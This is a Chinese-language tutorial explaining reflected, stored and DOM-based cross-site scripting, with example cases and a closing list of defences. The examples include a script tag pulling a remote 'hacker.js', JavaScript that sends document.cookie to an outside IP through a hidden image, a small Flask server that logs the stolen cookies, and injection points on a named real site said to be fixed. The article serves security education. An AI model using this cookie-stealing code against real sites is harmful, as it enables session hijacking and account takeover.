本文获得作者授权刊发,更多信息请关注 作者专栏 。 XSS攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS,XSS是一种在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。从而达到攻击的目的。如,盗取用户Cookie、破坏页面结构、重定向到其它网站等。 XSS攻击案例:新浪微博遭受XX攻击: http://soft.yesky.com/security/156/30179156.shtml 人人网遭受XSS攻击: http://www.freebuf.com/articles/6295.html 简单的测试方法:所有提交数据的地方都有可能存在XSS,可以用最简单脚本进行测试: <script>alert(“1”)script>XSS攻击类型反射型:黑客构造一个包含XSS代码的URL(服务器中没有这样的页面和内容),诱导或等待用户去点击链接,才能触发XSS代码,达到劫持访问、获取cookies的目的。一般容易出现在搜索页面。 例如: https://m.wuage.com/search/self-shop?memberId=4lv8ll4g&keywords=x%22 alert(1) %22&psa=M3.s10.0.j4 (此漏洞已经修复,请勿再测,造成访问压力。)
持久型:如果黑客可以将脚本代码通过发布内容(如发论坛、博文、写留言等)的方式发布后,存储在服务端的数据库或者文件中,成为某个url正常的页面的一部分,所有访问这个页面的所有用户都是受害者,看似正常的url,则其页面已经包含了xss代码,持久型XSS更具有隐蔽性,带来的危害也更大 例如:在页面中不容注意的地方加一段js脚本(如下),当页面被打开时,页面会加载这段脚本,加系统登录的cookies发送到远端hacker的手中。 <script type="text/javascript" src="https://xss.xxx.com/hacker.js">script>DOM型:
js获取浏览器的cookies, 通过网络将cookies发送给远端的接 https://xss.xxx.com/hacker.js,收程序。 var img =
document.createElement('img');
img.width = 0;
img.height = 0;
img.src =
'http://10.100.100.14:5000/?hacker='+encodeURIComponent(document.cookie);接收端,利用python flask写个非常简单的项目 from flask import Flask, request
app = Flask(__name__)
@app.route('/')
def get_cookies():
text = request.args.get('hacker')
with open(file_path, mode='a', encoding='utf-8') as f:
f.writelines(text + "\n")
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=app.debug, threaded=True)示例:(此漏洞已经修复,请勿再测,造成访问压力。) 在www.wuage.com?fromtf=budao注册过后返回个人中心,在公司名称完成XSS注入
修改cookies,登录网站:
XSS攻击防御设置HttpOnly以避免cookie劫持的危险。 过滤,对诸如 <script>、<img>、<a>等标签进行过滤。 编码,像一些常见的符号,如<>在输入的时候要对其进行转换编码,这样做浏览器是不会对该标签进行解释执行的,同时也不影响显示效果。 限制,通过以上的案例我们不难发现xss攻击要能达成往往需要较长的字符串,因此对于一些可以预期的输入可以通过限制长度强制截断来进行防御。 |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|